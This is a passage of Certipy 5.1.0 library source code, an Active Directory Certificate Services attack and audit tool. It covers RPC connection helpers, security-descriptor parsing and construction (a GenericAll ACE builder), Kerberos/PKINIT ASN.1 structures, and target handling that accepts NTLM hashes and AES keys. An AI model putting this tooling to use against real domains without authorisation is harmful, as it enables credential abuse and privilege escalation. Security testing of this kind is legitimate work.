target.lmhash, target.nthash, TGS=tgs, ) # Get DCE RPC object and configure it dce = rpctransport.get_dce_rpc() dce.set_auth_level(auth_level) if target.do_kerberos: dce.set_auth_type(rpcrt.RPC_C_AUTHN_GSS_NEGOTIATE) return dce def get_dynamic_endpoint( interface: bytes, target: str, timeout: int = 5 ) -> Optional[str]: """ Resolve a dynamic endpoint for an RPC interface. Args: interface: RPC interface identifier (UUID) target: Target hostname or IP address timeout: Connection timeout in seconds Returns: Resolved endpoint string or None if resolution fails Notes: Uses the endpoint mapper (port 135) to resolve the dynamic endpoint """ string_binding = f"ncacn_ip_tcp:{target}[135]" rpctransport = transport.DCERPCTransportFactory(string_binding) rpctransport.set_connect_timeout(timeout) dce = rpctransport.get_dce_rpc() interface_str = uuid.bin_to_string(interface) logging.debug(f"Trying to resolve dynamic endpoint {interface_str}") # Connect to endpoint mapper try: dce.connect() except Exception as e: logging.warning(f"Failed to connect to endpoint mapper: {e}") handle_error(True) return None # Try to resolve endpoint try: endpoint = epm.hept_map(target, interface, protocol="ncacn_ip_tcp", dce=dce) logging.debug(f"Resolved dynamic endpoint {interface_str} to {endpoint}") return endpoint except Exception as e: logging.warning(f"Failed to resolve dynamic endpoint {interface_str}: {e}") handle_error(True) return None def get_dce_rpc( interface: bytes, named_pipe: str, target: Target, timeout: int = 5, dynamic: bool = False, auth_level_np: int = rpcrt.RPC_C_AUTHN_LEVEL_PKT_PRIVACY, auth_level_dyn: int = rpcrt.RPC_C_AUTHN_LEVEL_PKT_PRIVACY, ) -> Optional[rpcrt.DCERPC_v5]: """ Get a connected DCE RPC interface. This function attempts to connect to an RPC interface using either named pipes or dynamic endpoints. It will try multiple methods if the first fails. Args: interface: RPC interface identifier (UUID) named_pipe: Named pipe path to connect to target: Target object containing connection parameters timeout: Connection timeout in seconds dynamic: If True, try dynamic endpoint first, otherwise try named pipe first auth_level_np: Authentication level for named pipe connections auth_level_dyn: Authentication level for dynamic endpoint connections Returns: Connected DCERPC_v5 object or None if all connection attempts fail """ def _try_binding(string_binding: str, auth_level: int) -> Optional[rpcrt.DCERPC_v5]: """Try to connect to a specific string binding.""" dce = get_dce_rpc_from_string_binding( string_binding, target, timeout, auth_level=auth_level ) logging.debug(f"Trying to connect to endpoint: {string_binding}") try: dce.connect() except Exception as e: if is_verbose(): logging.warning(f"Failed to connect to endpoint {string_binding}: {e}") handle_error(True) return None logging.debug(f"Connected to endpoint: {string_binding}") # Bind to the interface try: _ = dce.bind(interface) return dce except Exception as e: if is_verbose(): logging.warning(f"Failed to bind to interface: {e}") handle_error(True) return None def _try_np() -> Optional[rpcrt.DCERPC_v5]: """Try named pipe connection.""" if not target.target_ip: logging.error("Target IP is not set") return None string_binding = f"ncacn_np:{target.target_ip}[{named_pipe}]" return _try_binding(string_binding, auth_level=auth_level_np) def _try_dyn() -> Optional[rpcrt.DCERPC_v5]: """Try dynamic endpoint connection.""" if not target.target_ip: logging.error("Target IP is not set") return None string_binding = get_dynamic_endpoint(interface, target.target_ip, timeout) if string_binding is None: # Possible errors: # - TCP Port 135 is firewalled off # - Service is not running logging.error( f"Failed to get dynamic TCP endpoint for {uuid.bin_to_string(interface)}" ) return None return _try_binding(string_binding, auth_level=auth_level_dyn) # Determine which method to try first methods = [_try_dyn, _try_np] if dynamic else [_try_np, _try_dyn] # Try connection methods in order for method in methods: dce = method() if dce is not None: return dce return None Certipy-5.1.0/certipy/lib/security.py000077500000000000000000000205331521657466500176310ustar00rootroot00000000000000""" Security module for parsing and interpreting Active Directory security descriptors. This module provides classes for handling security descriptors related to: - Active Directory objects - Certificates - Certificate Issuance Policies - Certification Authorities """ import re from typing import Any, Dict from impacket.ldap import ldaptypes from impacket.uuid import bin_to_string from ldap3.protocol.formatters.formatters import format_sid from certipy.lib.constants import ( EXTENDED_RIGHTS_NAME_MAP, ActiveDirectoryRights, CertificateAuthorityRights, CertificateRights, IssuancePolicyRights, ) # Access Control Entry flags INHERITED_ACE = 0x10 SE_DACL_PRESENT = 0x0004 SE_DACL_AUTO_INHERITED = 0x0400 SE_SACL_AUTO_INHERITED = 0x0800 SE_DACL_PROTECTED = 0x1000 SE_SELF_RELATIVE = 0x8000 class SecurityDescriptorParser: """Base class for parsing security descriptors.""" RIGHTS_TYPE = None # Must be defined by subclasses def __init__(self, security_descriptor: bytes): """ Initialize a security descriptor parser. Args: security_descriptor: Binary representation of a security descriptor """ if self.RIGHTS_TYPE is None: raise NotImplementedError("Subclasses must define RIGHTS_TYPE") # Parse the security descriptor self.sd = ldaptypes.SR_SECURITY_DESCRIPTOR() self.sd.fromString(security_descriptor) # Extract owner SID self.owner = format_sid(self.sd["OwnerSid"].getData()) # Dictionary to store access control entries by SID self.aces: Dict[str, Dict[str, Any]] = {} # Parse the ACEs self._parse_aces() def _parse_aces(self) -> None: """Parse the access control entries from the security descriptor.""" pass # To be implemented by subclasses class ActiveDirectorySecurity(SecurityDescriptorParser): """Parser for Active Directory security descriptors.""" RIGHTS_TYPE = ActiveDirectoryRights def _parse_aces(self) -> None: """ Parse the access control entries from the security descriptor. This method extracts both standard rights and extended rights. """ aces = self.sd["Dacl"]["Data"] # TODO: Handle DENIED ACEs for ace in aces: sid = format_sid(ace["Ace"]["Sid"].getData()) # Initialize entry for this SID if not already present if sid not in self.aces: self.aces[sid] = { "rights": self.RIGHTS_TYPE(0), "extended_rights": [], "inherited": bool(ace["AceFlags"] & INHERITED_ACE), # Tracks if a standard ACCESS_ALLOWED_ACE grants control access (0x00000100) "has_standard_control_access": False, } # Process standard access allowed ACE if ace["AceType"] == ldaptypes.ACCESS_ALLOWED_ACE.ACE_TYPE: mask = self.RIGHTS_TYPE(ace["Ace"]["Mask"]["Mask"]) self.aces[sid]["rights"] |= mask # Rule 2 (MS-CRTD): ACCESS_ALLOWED_ACE with control access bit set if mask & ActiveDirectoryRights.EXTENDED_RIGHT: self.aces[sid]["has_standard_control_access"] = True # Process object-specific ACE (for extended rights) elif ace["AceType"] == ldaptypes.ACCESS_ALLOWED_OBJECT_ACE.ACE_TYPE and ace[ "Ace" ]["Mask"].hasPriv( ldaptypes.ACCESS_ALLOWED_OBJECT_ACE.ADS_RIGHT_DS_CONTROL_ACCESS ): mask = self.RIGHTS_TYPE(ace["Ace"]["Mask"]["Mask"]) self.aces[sid]["rights"] |= mask # Extract the specific extended right (identified by UUID) if ace["Ace"].hasFlag( ldaptypes.ACCESS_ALLOWED_OBJECT_ACE.ACE_OBJECT_TYPE_PRESENT ): uuid = bin_to_string(ace["Ace"]["ObjectType"]).lower() else: # If no specific GUID is provided, this grants all extended rights # https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-adts/1522b774-6464-41a3-87a5-1e5633c3fbbb uuid = EXTENDED_RIGHTS_NAME_MAP["All-Extended-Rights"] self.aces[sid]["extended_rights"].append(uuid) def to_bytes(self) -> bytes: """ Convert the security descriptor to its binary representation. Returns: Binary representation of the security descriptor """ return self.sd.getData() class CertificateSecurity(ActiveDirectorySecurity): """Parser for certificate template security descriptors.""" RIGHTS_TYPE = CertificateRights class IssuancePolicySecurity(ActiveDirectorySecurity): """Parser for certificate issuance policy security descriptors.""" RIGHTS_TYPE = IssuancePolicyRights class CASecurity(SecurityDescriptorParser): """Parser for Certification Authority security descriptors.""" RIGHTS_TYPE = CertificateAuthorityRights def _parse_aces(self) -> None: """ Parse the access control entries from the security descriptor. CA security descriptors have a simpler structure than AD security descriptors. """ aces = self.sd["Dacl"]["Data"] for ace in aces: sid = format_sid(ace["Ace"]["Sid"].getData()) if sid not in self.aces: self.aces[sid] = { "rights": self.RIGHTS_TYPE(0), "extended_rights": [], # CAs don't use extended rights, but keeping for consistency "inherited": bool(ace["AceFlags"] & INHERITED_ACE), } if ace["AceType"] == ldaptypes.ACCESS_ALLOWED_ACE.ACE_TYPE: mask = self.RIGHTS_TYPE(ace["Ace"]["Mask"]["Mask"]) self.aces[sid]["rights"] |= mask def is_admin_sid(sid: str) -> bool: """ Check if a security identifier (SID) belongs to an administrative group. This function identifies built-in administrator accounts and groups by their well-known SIDs. Args: sid: The security identifier to check Returns: True if the SID belongs to an administrative group, False otherwise Common Admin SIDs: - S-1-5-21-*-498: Enterprise Read-Only Domain Controllers group - S-1-5-21-*-500: Built-in Administrator account - S-1-5-21-*-502: Krbtgt account - S-1-5-21-*-512: Domain Admins group - S-1-5-21-*-516: Domain Controllers group - S-1-5-21-*-518: Schema Admins group - S-1-5-21-*-519: Enterprise Admins group - S-1-5-21-*-521: Read-only Domain Controllers group - S-1-5-32-544: Built-in Administrators group - S-1-5-9: Enterprise Domain Controllers """ admin_rid_pattern = "^S-1-5-21-.+-(498|500|502|512|516|518|519|521)$" builtin_admin_sids = ["S-1-5-9", "S-1-5-32-544"] return re.match(admin_rid_pattern, sid) is not None or sid in builtin_admin_sids def create_ace(sid: str, mask: CertificateRights) -> ldaptypes.ACE: ace = ldaptypes.ACE() ace["AceType"] = ldaptypes.ACCESS_ALLOWED_ACE.ACE_TYPE ace["AceFlags"] = 0x00 ace_data = ldaptypes.ACCESS_ALLOWED_ACE() ace_data["Mask"] = ldaptypes.ACCESS_MASK() ace_data["Mask"]["Mask"] = mask ace_data["Sid"] = ldaptypes.LDAP_SID() ace_data["Sid"].fromCanonical(sid) ace["Ace"] = ace_data return ace def create_sd(sid: str) -> ldaptypes.SR_SECURITY_DESCRIPTOR: """ Create a security descriptor setting `sid` as owner, and also add an ACE of GenericAll for `sid`, and also add an ACE of GenericRead for authenticated users (otherwise subsequent `certipy req` fails). """ sd = ldaptypes.SR_SECURITY_DESCRIPTOR() sd["Revision"] = b"\x01" sd["Sbz1"] = b"\x00" sd["Control"] = ( SE_DACL_PRESENT | SE_DACL_AUTO_INHERITED | SE_SACL_AUTO_INHERITED | SE_DACL_PROTECTED | SE_SELF_RELATIVE ) sd["OwnerSid"] = ldaptypes.LDAP_SID() sd["OwnerSid"].fromCanonical(sid) sd["GroupSid"] = ldaptypes.LDAP_SID() sd["GroupSid"] = b"" sd["Sacl"] = b"" acl = ldaptypes.ACL() acl["AclRevision"] = 2 acl["Sbz1"] = 0 acl["Sbz2"] = 0 acl.aces = [] acl.aces.append(create_ace(sid, CertificateRights.GENERIC_ALL)) acl.aces.append(create_ace("S-1-5-11", CertificateRights.GENERIC_READ)) sd["Dacl"] = acl return sd Certipy-5.1.0/certipy/lib/structs.py000077500000000000000000000411671521657466500174770ustar00rootroot00000000000000""" Kerberos protocol ASN.1 structure definitions. This module defines the ASN.1 structures used in Kerberos authentication protocol and Microsoft extensions, implemented using the asn1crypto library. It also provides enhanced Enum types with better string representation. """ import enum from typing import List from asn1crypto import cms, core, csr, keys, x509 from certipy.lib.formatting import to_pascal_case # ASN.1 tag constants TAG = "explicit" APPLICATION = 1 CONTEXT = 2 class IntFlag(enum.IntFlag): """ Enhanced IntFlag with smart string representation. """ def to_list(self) -> List["IntFlag"]: """ Decompose flag into list of individual flags. Returns: List of individual flag members """ if not self._value_: return [] # Get all individual flags that make up this value return [ flag for flag in self.__class__ if flag.value and flag.value & self._value_ ] def to_str_list(self) -> List[str]: """ Return list of flag names. Returns: List of flag names """ return [ to_pascal_case(flag.name) for flag in self.to_list() if flag.name is not None ] def __str__(self) -> str: """ Smart string representation that handles combinations gracefully. Returns: Human-readable string representation of the flag(s) """ # Handle named values if self.name is not None: return to_pascal_case(self.name) # Handle empty flags if not self._value_: return "" # Get individual flags flags = self.to_list() # If no decomposition was possible, return the raw value if not flags: return repr(self._value_) # Return comma-separated list of flag names return ", ".join( to_pascal_case(flag.name) for flag in flags if flag.name is not None ) def __repr__(self) -> str: return str(self) class Flag(enum.Flag): """ Enhanced Flag with smart string representation. """ def to_list(self) -> List["Flag"]: """ Decompose flag into list of individual flags. Returns: List of individual flag members """ if not self._value_: return [] # Get all individual flags that make up this value return [ flag for flag in self.__class__ if flag.value and flag.value & self._value_ ] def to_str_list(self) -> List[str]: """ Return list of flag names. Returns: List of flag names """ return [ to_pascal_case(flag.name) for flag in self.to_list() if flag.name is not None ] def __str__(self) -> str: """ Smart string representation that handles combinations gracefully. Returns: Human-readable string representation of the flag(s) """ # Handle named values if self.name is not None: return to_pascal_case(self.name) # Handle empty flags if not self._value_: return "" # Get individual flags flags = self.to_list() # If no decomposition was possible, return the raw value if not flags: return repr(self._value_) # Return comma-separated list of flag names return ", ".join( to_pascal_case(flag.name) for flag in flags if flag.name is not None ) def __repr__(self) -> str: return str(self) # ========================================================================= # Basic ASN.1 structures # ========================================================================= class SequenceOfEnctype(core.SequenceOf): """Sequence of Kerberos encryption types.""" _child_spec = core.Integer class SequenceOfKerberosString(core.SequenceOf): """Sequence of Kerberos strings.""" _child_spec = core.GeneralString class PrincipalName(core.Sequence): """ Kerberos principal name structure. Represents a service or user principal in the format of name-type and name-string. """ _fields = [ ("name-type", core.Integer, {"tag_type": TAG, "tag": 0}), ("name-string", SequenceOfKerberosString, {"tag_type": TAG, "tag": 1}), ] class HostAddress(core.Sequence): """ Network host address structure. Contains address type and the actual address data. """ _fields = [ ("addr-type", core.Integer, {"tag_type": TAG, "tag": 0}), ("address", core.OctetString, {"tag_type": TAG, "tag": 1}), ] class HostAddresses(core.SequenceOf): """Collection of host addresses.""" _child_spec = HostAddress class KDCOptions(core.BitString): """ Kerberos KDC request options bitmap. This structure represents the various options that can be set in a Kerberos request. """ _map = { 0: "reserved", 1: "forwardable", 2: "forwarded", 3: "proxiable", 4: "proxy", 5: "allow-postdate", 6: "postdated", 7: "unused7", 8: "renewable", 9: "unused9", 10: "unused10", 11: "opt-hardware-auth", 12: "unused12", 13: "unused13", 14: "constrained-delegation", # cname-in-addl-tkt (14) 15: "canonicalize", 16: "request-anonymous", 17: "unused17", 18: "unused18", 19: "unused19", 20: "unused20", 21: "unused21", 22: "unused22", 23: "unused23", 24: "unused24", 25: "unused25", 26: "disable-transited-check", 27: "renewable-ok", 28: "enc-tkt-in-skey", 30: "renew", 31: "validate", } class EncryptedData(core.Sequence): """ Generic encrypted data container for Kerberos. Contains encryption type, optional key version, and the encrypted content. """ _fields = [ ("etype", core.Integer, {"tag_type": TAG, "tag": 0}), # EncryptionType ( "kvno", core.Integer, {"tag_type": TAG, "tag": 1, "optional": True}, ), # Key version number ("cipher", core.OctetString, {"tag_type": TAG, "tag": 2}), # Ciphertext ] class Ticket(core.Sequence): """ Kerberos ticket structure. Contains ticket version, realm, service name, and encrypted ticket part. """ explicit = (APPLICATION, 1) _fields = [ ("tkt-vno", core.Integer, {"tag_type": TAG, "tag": 0}), ("realm", core.GeneralString, {"tag_type": TAG, "tag": 1}), ("sname", PrincipalName, {"tag_type": TAG, "tag": 2}), ("enc-part", EncryptedData, {"tag_type": TAG, "tag": 3}), # EncTicketPart ] class SequenceOfTicket(core.SequenceOf): """Collection of Kerberos tickets.""" _child_spec = Ticket class PaData(core.Sequence): """ Pre-authentication data structure. Used for various authentication mechanisms in Kerberos. """ _fields = [ ("padata-type", core.Integer, {"tag_type": TAG, "tag": 1}), ("padata-value", core.OctetString, {"tag_type": TAG, "tag": 2}), ] class MethodData(core.SequenceOf): """Collection of pre-authentication data elements.""" _child_spec = PaData class KdcReqBody(core.Sequence): """ KDC request body structure. Contains the core parameters for KDC requests like AS-REQ and TGS-REQ. """ _fields = [ ("kdc-options", KDCOptions, {"tag_type": TAG, "tag": 0}), ("cname", PrincipalName, {"tag_type": TAG, "tag": 1, "optional": True}), ("realm", core.GeneralString, {"tag_type": TAG, "tag": 2}), ("sname", PrincipalName, {"tag_type": TAG, "tag": 3, "optional": True}), ("from", core.GeneralizedTime, {"tag_type": TAG, "tag": 4, "optional": True}), ("till", core.GeneralizedTime, {"tag_type": TAG, "tag": 5, "optional": True}), ("rtime", core.GeneralizedTime, {"tag_type": TAG, "tag": 6, "optional": True}), ("nonce", core.Integer, {"tag_type": TAG, "tag": 7}), ( "etype", SequenceOfEnctype, {"tag_type": TAG, "tag": 8}, ), # Encryption types in preference order ("addresses", HostAddresses, {"tag_type": TAG, "tag": 9, "optional": True}), ( "enc-authorization-data", EncryptedData, {"tag_type": TAG, "tag": 10, "optional": True}, ), ( "additional-tickets", SequenceOfTicket, {"tag_type": TAG, "tag": 11, "optional": True}, ), ] class KdcReq(core.Sequence): """ Base KDC request structure. Parent class for AS-REQ and TGS-REQ messages. """ _fields = [ ("pvno", core.Integer, {"tag_type": TAG, "tag": 1}), ("msg-type", core.Integer, {"tag_type": TAG, "tag": 2}), ("padata", MethodData, {"tag_type": TAG, "tag": 3, "optional": True}), ("req-body", KdcReqBody, {"tag_type": TAG, "tag": 4}), ] class AsReq(KdcReq): """ Authentication Service Request (AS-REQ). Initial request in Kerberos authentication to obtain a TGT. """ explicit = (APPLICATION, 10) class PaPacRequest(core.Sequence): """ Microsoft PAC request pre-authentication data. Controls whether a Privilege Attribute Certificate should be included in the ticket. """ _fields = [ ("include-pac", core.Boolean, {"tag_type": TAG, "tag": 0}), ] # ========================================================================= # Kerberos Types and Enumerations # ========================================================================= class NameType: """Kerberos name types from RFC 4120.""" UNKNOWN = 0 # Name type not known PRINCIPAL = 1 # Just the name of the principal SRV_INST = 2 # Service and other unique instance (krbtgt) SRV_HST = 3 # Service with host name as instance SRV_XHST = 4 # Service with host as remaining components UID = 5 # Unique ID X500_PRINCIPAL = 6 # PKINIT SMTP_NAME = 7 # Name in form of SMTP email name ENTERPRISE_PRINCIPAL = 10 # Windows 2000 UPN WELLKNOWN = 11 # Wellknown ENT_PRINCIPAL_AND_ID = -130 # Windows 2000 UPN and SID MS_PRINCIPAL = -128 # NT 4 style name MS_PRINCIPAL_AND_ID = -129 # NT style name and SID NTLM = -1200 # NTLM name, realm is domain class EncType(enum.IntEnum): """Kerberos encryption types.""" DES_CRC = 1 DES_MD4 = 2 DES_MD5 = 3 DES3 = 16 AES128 = 17 AES256 = 18 RC4 = 23 class AlgorithmIdentifiers(core.SequenceOf): """Sequence of algorithm identifiers.""" _child_spec = x509.AlgorithmIdentifier class ExternalPrincipalIdentifier(core.Sequence): """External principal identifier for PKINIT.""" _fields = [ ( "subjectName", core.OctetString, {"tag_type": "implicit", "tag": 0, "optional": True}, ), ( "issuerAndSerialNumber", core.OctetString, {"tag_type": "implicit", "tag": 1, "optional": True}, ), ( "subjectKeyIdentifier", core.OctetString, {"tag_type": "implicit", "tag": 2, "optional": True}, ), ] class KDCDHKeyInfo(core.Sequence): """KDC-generated DH key information.""" _fields = [ ("subjectPublicKey", core.BitString, {"tag_type": "explicit", "tag": 0}), ("nonce", core.Integer, {"tag_type": "explicit", "tag": 1}), ( "dhKeyExpiration", core.GeneralizedTime, {"tag_type": "explicit", "tag": 2, "optional": True}, ), ] class ExternalPrincipalIdentifiers(core.SequenceOf): """Sequence of external principal identifiers.""" _child_spec = ExternalPrincipalIdentifier class DHRepInfo(core.Sequence): """DH reply information.""" _fields = [ ("dhSignedData", core.OctetString, {"tag_type": "implicit", "tag": 0}), ( "serverDHNonce", core.OctetString, {"tag_type": "explicit", "tag": 1, "optional": True}, ), ] class PaPkAsReq(core.Sequence): """PKINIT request structure.""" _fields = [ ("signedAuthPack", core.OctetString, {"tag_type": "implicit", "tag": 0}), ( "trustedCertifiers", ExternalPrincipalIdentifiers, {"tag_type": "explicit", "tag": 1, "optional": True}, ), ( "kdcPkId", core.OctetString, {"tag_type": "implicit", "tag": 2, "optional": True}, ), ] class PaPkAsRep(core.Choice): """PKINIT response structure.""" _alternatives = [ ("dhInfo", DHRepInfo, {"explicit": (2, 0)}), ("encKeyPack", core.OctetString, {"implicit": (2, 1)}), ] class PKAuthenticator(core.Sequence): """PKINIT authenticator structure.""" _fields = [ ("cusec", core.Integer, {"tag_type": "explicit", "tag": 0}), ("ctime", core.GeneralizedTime, {"tag_type": "explicit", "tag": 1}), ("nonce", core.Integer, {"tag_type": "explicit", "tag": 2}), ( "paChecksum", core.OctetString, {"tag_type": "explicit", "tag": 3, "optional": True}, ), ] class AuthPack(core.Sequence): """PKINIT authentication pack.""" _fields = [ ("pkAuthenticator", PKAuthenticator, {"tag_type": "explicit", "tag": 0}), ( "clientPublicValue", keys.PublicKeyInfo, {"tag_type": "explicit", "tag": 1, "optional": True}, ), ( "supportedCMSTypes", AlgorithmIdentifiers, {"tag_type": "explicit", "tag": 2, "optional": True}, ), ( "clientDHNonce", core.OctetString, {"tag_type": "explicit", "tag": 3, "optional": True}, ), ] # ========================================================================= # ASN.1 structures for Microsoft certificate operations # ========================================================================= class TaggedCertificationRequest(core.Sequence): """ASN.1 structure for a tagged certification request.""" _fields = [ ("bodyPartID", core.Integer), ("certificationRequest", csr.CertificationRequest), ] class TaggedRequest(core.Choice): """ASN.1 structure for PKI request types.""" _alternatives = [ ("tcr", TaggedCertificationRequest, {"implicit": 0}), ("crm", core.Any, {"implicit": 1}), ("orm", core.Any, {"implicit": 2}), ] class TaggedAttribute(core.Sequence): """ASN.1 structure for a tagged attribute.""" _fields = [ ("bodyPartID", core.Integer), ("attrType", core.ObjectIdentifier), ("attrValues", cms.SetOfAny), ] class TaggedAttributes(core.SequenceOf): """Sequence of TaggedAttribute objects.""" _child_spec = TaggedAttribute class TaggedRequests(core.SequenceOf): """Sequence of TaggedRequest objects.""" _child_spec = TaggedRequest class TaggedContentInfos(core.SequenceOf): """Sequence of ContentInfo objects.""" _child_spec = core.Any # not implemented class OtherMsgs(core.SequenceOf): """Sequence of other message types.""" _child_spec = core.Any # not implemented class PKIData(core.Sequence): """ASN.1 structure for PKI data container.""" _fields = [ ("controlSequence", TaggedAttributes), ("reqSequence", TaggedRequests), ("cmsSequence", TaggedContentInfos), ("otherMsgSequence", OtherMsgs), ] class CertReference(core.SequenceOf): """Reference to certificates by ID.""" _child_spec = core.Integer class CMCAddAttributesInfo(core.Sequence): """ASN.1 structure for CMC AddAttributesInfo.""" _fields = [ ("data_reference", core.Integer), ("cert_reference", CertReference), ("attributes", csr.SetOfAttributes), ] class EnrollmentNameValuePair(core.Sequence): """ASN.1 structure for name-value pairs in enrollment requests.""" _fields = [ ("name", core.BMPString), ("value", core.BMPString), ] class EnrollmentNameValuePairs(core.SetOf): """Set of EnrollmentNameValuePair objects.""" _child_spec = EnrollmentNameValuePair def e2i(enum: int) -> int: """ Convert an Impacket enum member to its integer value. Static type analysis is confused by the fact that Impacket enums are not standard Python enums. This function provides a workaround. Args: enum: The enum member to convert. Returns: The integer value of the enum member. """ return enum.value # type: ignore Certipy-5.1.0/certipy/lib/target.py000077500000000000000000000404561521657466500172560ustar00rootroot00000000000000""" Target management module for Certipy. This module provides functionality for creating and managing target objects that represent authentication endpoints. It handles: - Authentication parameters (username, password, hashes, Kerberos tickets) - Target name resolution (DNS, local resolution, IP address validation) - Connection settings (timeouts, ports, protocol options) - Domain controller discovery - Kerberos ticket cache integration The primary class is Target, which encapsulates all connection parameters needed to authenticate to and interact with Windows/Active Directory services. Helper classes like DnsResolver provide supporting functionality. """ import argparse import os import socket from typing import Dict, Optional, Tuple from dns.resolver import Resolver from impacket.krb5.ccache import CCache from certipy.lib.errors import handle_error from certipy.lib.logger import logging class Target: """ Class representing an authentication target with all necessary connection details. """ def __init__( self, resolver: "DnsResolver", domain: str = "", username: str = "", password: Optional[str] = None, remote_name: str = "", hashes: Optional[str] = None, lmhash: str = "", nthash: str = "", do_kerberos: bool = False, do_simple: bool = False, aes: Optional[str] = None, dc_ip: Optional[str] = None, dc_host: Optional[str] = None, target_ip: Optional[str] = None, timeout: int = 5, ldap_scheme: str = "ldaps", ldap_port: Optional[int] = None, ldap_channel_binding: bool = True, ldap_signing: bool = True, ldap_user_dn: Optional[str] = None, ) -> None: """ Initialize a Target with the specified connection parameters. Args: resolver: DNS resolver for hostname resolution domain: Domain name (empty string if not specified) username: Username (empty string if not specified) password: Password (None if not specified) remote_name: Remote target name (empty string if not specified) hashes: NTLM hashes in format LM:NT lmhash: LM hash nthash: NT hash do_kerberos: Use Kerberos authentication do_simple: Use simple authentication aes: AES key for Kerberos authentication dc_ip: Domain controller IP dc_host: Domain controller hostname target_ip: Target IP address timeout: Connection timeout in seconds ldap_scheme: LDAP scheme (default is ldaps) ldap_port: LDAP port to use ldap_channel_binding: Use LDAP channel binding ldap_signing: Use LDAP signing ldap_user_dn: LDAP user distinguished name """ self.resolver = resolver self.domain: str = domain self.username: str = username self.password: Optional[str] = password self.remote_name: str = remote_name self.hashes: Optional[str] = hashes self.lmhash: str = lmhash self.nthash: str = nthash self.do_kerberos: bool = do_kerberos self.do_simple: bool = do_simple self.aes: Optional[str] = aes self.dc_ip: Optional[str] = dc_ip self.dc_host: Optional[str] = dc_host self.target_ip: Optional[str] = target_ip self.timeout: int = timeout self.ldap_scheme: str = ldap_scheme self.ldap_port: Optional[int] = ldap_port self.ldap_channel_binding: bool = ldap_channel_binding self.ldap_signing: bool = ldap_signing self.ldap_user_dn: Optional[str] = ldap_user_dn @staticmethod def from_options( options: argparse.Namespace, dc_as_target: bool = False, require_username: bool = True, ) -> "Target": """ Create a Target from command line options. Args: options: Command line options dc_as_target: Whether to use DC as target Returns: Target: Configured target object Raises: Exception: If no target can be determined """ # Domain controller options dc_ip = options.dc_ip if hasattr(options, "dc_ip") else None dc_host = options.dc_host if hasattr(options, "dc_host") else None # Target machine options target_ip = options.target_ip if hasattr(options, "target_ip") else None target = options.target if hasattr(options, "target") else None # DNS options ns = options.ns if hasattr(options, "ns") else dc_ip dns_tcp = options.dns_tcp if hasattr(options, "dns_tcp") else False # Connection options timeout = options.timeout if hasattr(options, "timeout") else 10 # Authentication options principal = options.username if hasattr(options, "username") else None password = options.password if hasattr(options, "password") else None hashes = options.hashes if hasattr(options, "hashes") else None do_kerberos = options.do_kerberos if hasattr(options, "do_kerberos") else False do_simple = options.do_simple if hasattr(options, "do_simple") else False aes = options.aes if hasattr(options, "aes") else None no_pass = options.no_pass if hasattr(options, "no_pass") else False # LDAP options ldap_scheme = ( options.ldap_scheme if hasattr(options, "ldap_scheme") else "ldaps" ) ldap_port = options.ldap_port if hasattr(options, "ldap_port") else None no_ldap_channel_binding = ( options.no_ldap_channel_binding if hasattr(options, "no_ldap_channel_binding") else False ) no_ldap_signing = ( options.no_ldap_signing if hasattr(options, "no_ldap_signing") else False ) ldap_user_dn = ( options.ldap_user_dn if hasattr(options, "ldap_user_dn") else None ) # Parse username and domain from principal format (user@DOMAIN) domain = "" username = "" if principal is not None: parts = principal.split("@") if len(parts) == 1: username = parts[0] else: username = "@".join(parts[:-1]) domain = parts[-1] # Handle Kerberos authentication if do_kerberos: principal = get_kerberos_principal() if principal: username, domain = principal # Normalize domain and username domain = domain.upper() username = username.upper() if require_username and len(username) == 0: logging.error("Username is not specified") # Handle password input if ( not password and username != "" and hashes is None and aes is None and no_pass is not True and do_kerberos is not True ): from getpass import getpass password = getpass("Password:") # Parse hashes if provided lmhash = "" nthash = "" if hashes is not None: hash_parts = hashes.split(":") if len(hash_parts) == 1: nthash = hash_parts[0] lmhash = nthash else: lmhash, nthash = hash_parts if len(lmhash) == 0: lmhash = nthash # AES key implies Kerberos if aes is not None: do_kerberos = True # Determine remote target name remote_name = target or "" if do_kerberos and not remote_name: logging.warning( "Target name (-target) not specified and Kerberos authentication is used. This might fail" ) if dc_as_target: if not remote_name and dc_host: remote_name = dc_host if not remote_name: logging.debug( f"Target name (-target) and DC host (-dc-host) not specified. Using domain {domain!r} as target name. This might fail for cross-realm operations" ) remote_name = domain if not target_ip and dc_ip: target_ip = dc_ip if not dc_host: dc_host = remote_name else: if not dc_host and domain: if do_kerberos: logging.warning( "DC host (-dc-host) not specified and Kerberos authentication is used. This might fail" ) logging.debug( "DC host (-dc-host) not specified. Using domain as DC host" ) dc_host = domain if not remote_name: if target_ip: remote_name = target_ip elif dc_host: remote_name = dc_host elif dc_ip: remote_name = dc_ip elif domain: remote_name = domain else: raise Exception("Could not find a target in the specified options") # Configure LDAP optinos if ldap_port is None: if ldap_scheme == "ldap": ldap_port = 389 else: ldap_port = 636 # Adjust DC IP if needed if dc_as_target and dc_ip is None and is_ip(remote_name): dc_ip = remote_name # Handle target IP if is_ip(remote_name): target_ip = remote_name ns = ns or dc_ip logging.debug(f"Nameserver: {ns!r}") logging.debug(f"DC IP: {dc_ip!r}") logging.debug(f"DC Host: {dc_host!r}") logging.debug(f"Target IP: {target_ip!r}") logging.debug(f"Remote Name: {remote_name!r}") logging.debug(f"Domain: {domain!r}") logging.debug(f"Username: {username!r}") resolver = DnsResolver.create(ns=ns, dc_ip=dc_ip, dns_tcp=dns_tcp) if target_ip is None: target_ip = resolver.resolve(remote_name) # Ensure DC IP is resolved if dc_ip is None and dc_host: dc_ip = resolver.resolve(dc_host) # Create target instance target = Target( resolver, domain=domain, username=username, password=password, remote_name=remote_name, hashes=hashes, lmhash=lmhash, nthash=nthash, aes=aes, do_kerberos=do_kerberos, do_simple=do_simple, dc_ip=dc_ip, dc_host=dc_host, target_ip=target_ip, timeout=timeout, ldap_scheme=ldap_scheme, ldap_channel_binding=not no_ldap_channel_binding, ldap_signing=not no_ldap_signing, ldap_port=ldap_port, ldap_user_dn=ldap_user_dn, ) return target def resolve_hostname(self, hostname: str) -> str: """ Resolve a hostname to IP address using the configured resolver. Args: hostname: The hostname to resolve Returns: The resolved IP address or the original hostname if resolution fails """ return self.resolver.resolve(hostname) def __repr__(self) -> str: """String representation of the Target object.""" return f"" class DnsResolver: """ DNS resolver for hostname resolution with caching capabilities. """ def __init__(self) -> None: """Initialize a new DNS resolver with default settings.""" self.resolver: Resolver = Resolver() self.use_tcp: bool = False self.mappings: Dict[str, str] = {} @staticmethod def from_options(options: argparse.Namespace, target: "Target") -> "DnsResolver": """ Create a DnsResolver from command line options. Args: options: The command line options target: The Target object Returns: DnsResolver: A configured DNS resolver 